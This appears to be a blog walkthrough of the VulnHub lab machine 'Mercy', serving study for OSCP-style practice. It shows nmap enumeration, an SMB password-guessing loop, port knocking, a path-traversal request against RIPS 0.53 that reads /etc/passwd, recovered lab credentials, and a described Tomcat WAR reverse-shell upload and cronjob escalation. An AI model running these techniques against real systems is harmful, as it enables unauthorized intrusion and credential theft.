Digitalworld - Local Mercy Walkthrough SOG - Re
Digitalworld - Local Mercy Walkthrough SOG - Re
I liked this box and it reminds me of OSCP exam machines and good Hack The Box machines. There’s enumeration across multiple
services, uses different vulnerability exploitations, and has three different stages of initial access, user account, and root access. I
love the 3 stage access option because I’m used to it with Hack The Box, but OSCP machines don’t always have 3 stages.
Luckily much of the stuff that is important for me solving this box was in the Nmap output. There would be possible rabbit holes if I
missed that. It really makes me think that I missed stuff in the exam that prohibited me from having a full picture to help me solve
machines in my OSCP exam. I am glad I am working on purposefully ensuring my enumeration is good and I take good notes (even
the stuff that doesn’t work/work out).
This machine would have been more difficult if there were not any robot.txt files.
Flow
1. Enumerate ports
2. Port 8080 – /tryharder/tryharder
3. SMB qiu share works with qiu:password (clue from tryharder file)
4. Download qiu files from SMB share
5. Knock to open up port 22 and port 80 (knockd settings in SMB share file)
6. Find LFI in RIPS 0.53 on port 80
7. Read files on filesystem via LFI
A. Read /etc/passwd to get local usernames
B. Read tomcat configuration to get more logins (tomcat admin and local user)
8. Log in to Tomcat admin interface, upload a reverse shell war file, get a reverse shell
9. Pivot to fluffy user
10. Pop a root shell from a root cronjob, editing a file writable by fluffy
11. Get flag
Initial Enumeration
IP="10.88.42.132"
mkdir -p nmap
nmap -Pn -sC -sV -p 1-1000 -oA nmap/nmap_top1000_$IP $IP
nmap -Pn -sC -sV -p 1000-65535 -oA nmap/nmap_1000plus_$IP $IP
nmap -sC -sU -p 1-1000 -oA nmap/nmap_udp1000_$IP $IP
# Nmap done at Sun Jun 14 13:16:06 2020 -- 1 IP address (1 host up) scanned in 1172.80 seconds
SMB Enumeration
[13:21:03] root[ /home/kali/VulnHub/mercy ]# smbclient -L 10.88.42.132
Enter WORKGROUP\root's password:
robots.txt
http://10.88.42.132:8080/robots.txt
User-agent: *
Disallow: /tryharder/tryharder
/tryharder/tryharder
SXQncyBhbm5veWluZywgYnV0IHdlIHJlcGVhdCB0aGlzIG92ZXIgYW5kIG92ZXIgYWdhaW46IGN5YmVyIGh5Z2llbmUgaXMgZXh0cmVtZWx5IGltcG9yd
GFudC4gUGxlYXNlIHN0b3Agc2V0dGluZyBzaWxseSBwYXNzd29yZHMgdGhhdCB3aWxsIGdldCBjcmFja2VkIHdpdGggYW55IGRlY2VudCBwYXNzd29yZC
BsaXN0LgoKT25jZSwgd2UgZm91bmQgdGhlIHBhc3N3b3JkICJwYXNzd29yZCIsIHF1aXRlIGxpdGVyYWxseSBzdGlja2luZyBvbiBhIHBvc3QtaXQgaW4
gZnJvbnQgb2YgYW4gZW1wbG95ZWUncyBkZXNrISBBcyBzaWxseSBhcyBpdCBtYXkgYmUsIHRoZSBlbXBsb3llZSBwbGVhZGVkIGZvciBtZXJjeSB3aGVu
IHdlIHRocmVhdGVuZWQgdG8gZmlyZSBoZXIuCgpObyBmbHVmZnkgYnVubmllcyBmb3IgdGhvc2Ugd2hvIHNldCBpbnNlY3VyZSBwYXNzd29yZHMgYW5kI
GVuZGFuZ2VyIHRoZSBlbnRlcnByaXNlLg==
It's annoying, but we repeat this over and over again: cyber hygiene is extremely important. Please stop setting sill
y passwords that will get cracked with any decent password list.
Once, we found the password "password", quite literally sticking on a post-it in front of an employee's desk! As sill
y as it may be, the employee pleaded for mercy when we threatened to fire her.
No fluffy bunnies for those who set insecure passwords and endanger the enterprise.
for pass in $(cat tryharder.txt); do echo ">> $pass <<" && smbclient \\\\10.88.42.132\\qiu -U qiu "$pass" 2>/dev/null
; done
Which stopped for the password of “password” works. I literally said to myself, “you’re a dummy.”
prompt
recurse
mget *
The only important files are config and configprint, with configprint appending configuration files to the config file. It includes
multiple configs but the one we care about is knockd configuration because port 80 and 22 are filtered (and likely firewalled off).
configprint
#!/bin/bash
...
[openHTTP]
sequence = 159,27391,4
seq_timeout = 100
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 80 -j ACCEPT
tcpflags = syn
...
[openSSH]
sequence = 17301,28504,9999
seq_timeout = 100
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
...
Knock Knock
for port in 17301 28504 9999; do nc 10.88.42.132 $port; done
for port in 159 27391 4; do nc 10.88.42.132 $port; done
Enumerate Port 22
# Nmap 7.80 scan initiated Sun Jun 14 14:04:48 2020 as: nmap -sC -sV -oA nmap/nmap_port22tcp_10.88.42.132 -p22 10.88.
42.132
Nmap scan report for 10.88.42.132
Host is up (0.00056s latency).
Nothing special there, other than knowing it is Ubuntu so at least we can discern file paths (for later).
Port 80
Enumerate
# Nmap 7.80 scan initiated Sun Jun 14 14:02:07 2020 as: nmap -sC -sV -oA nmap/nmap_port80tcp_10.88.42.132 -p80 10.88.
42.132
Nmap scan report for 10.88.42.132
Host is up (0.00065s latency).
Nmap found the robots.txt file and showed the contents. Let’s look at it more.
robots.txt
User-agent: *
Disallow: /mercy
Disallow: /nomercy
Port 80 – /mercy
Welcome to Mercy!
We hope you do not plead for mercy too much. If you do, please help us upgrade our website to allow our visitors to o
btain more than just the local time of our system.
Port 80 – /nomercy
It is running RIPS 0.53. What is the first thing I should do when I find a web app with a version I never heard of… well I do
searchsploit.
http://10.88.42.132/nomercy/windows/code.php?file=../../../../../../etc/passwd
...
pleadformercy:x:1000:1000:pleadformercy:/home/pleadformercy:/bin/bash
qiu:x:1001:1001:qiu:/home/qiu:/bin/bash
thisisasuperduperlonguser:x:1002:1002:,,,:/home/thisisasuperduperlonguser:/bin/bash
fluffy:x:1003:1003::/home/fluffy:/bin/sh
/etc/tomcat7/server.xml
/etc/tomcat7/tomcat-users.xml
/etc/tomcat7/web.xml
/etc/tomcat7/catalina.properties
So I grabbed them all and saved them locally, and also had to convert the HTML entities back to ASCII.
thisisasuperduperlonguser:heartbreakisinevitable
fluffy:freakishfluffybunny
Now that we have to Tomcat admin login, time to try to log in with it.
Now time to get our reverse shell. The common thing to do is to use msfvenom to build a .war file, upload the war in the
admin/manager interface, and then browse to the uploaded application which pops a reverse shell.
timeclock Script
#!/bin/bash
now=$(date)
echo "The system time is: $now." > ../../../../../var/www/html/time
echo "Time check courtesy of LINUX" >> ../../../../../var/www/html/time
chown www-data:www-data ../../../../../var/www/html/time
An interesting script. It ties together with the port 80 /mercy clue. I didn’t look further and honed in on this. I checked the timestamp
on the time file and checked if fluffy’s crontab was doing it. The file was recently updated and fluffy didn’t have a crontab. So, I
assumed it was root or pleadformercy (with elevated perms to do the chown).
Published on October 11, 2020 and last updated on November 16, 2020.
Leave a Reply
Your email address will not be published. Required fields are marked *
Comment *
Name *
Email *
Website
Save my name, email, and website in this browser for the next time I comment.
Post Comment
© 2020 Sogon Security, LLC. All Rights Reserved. Any unauthorized use is expressly prohibited.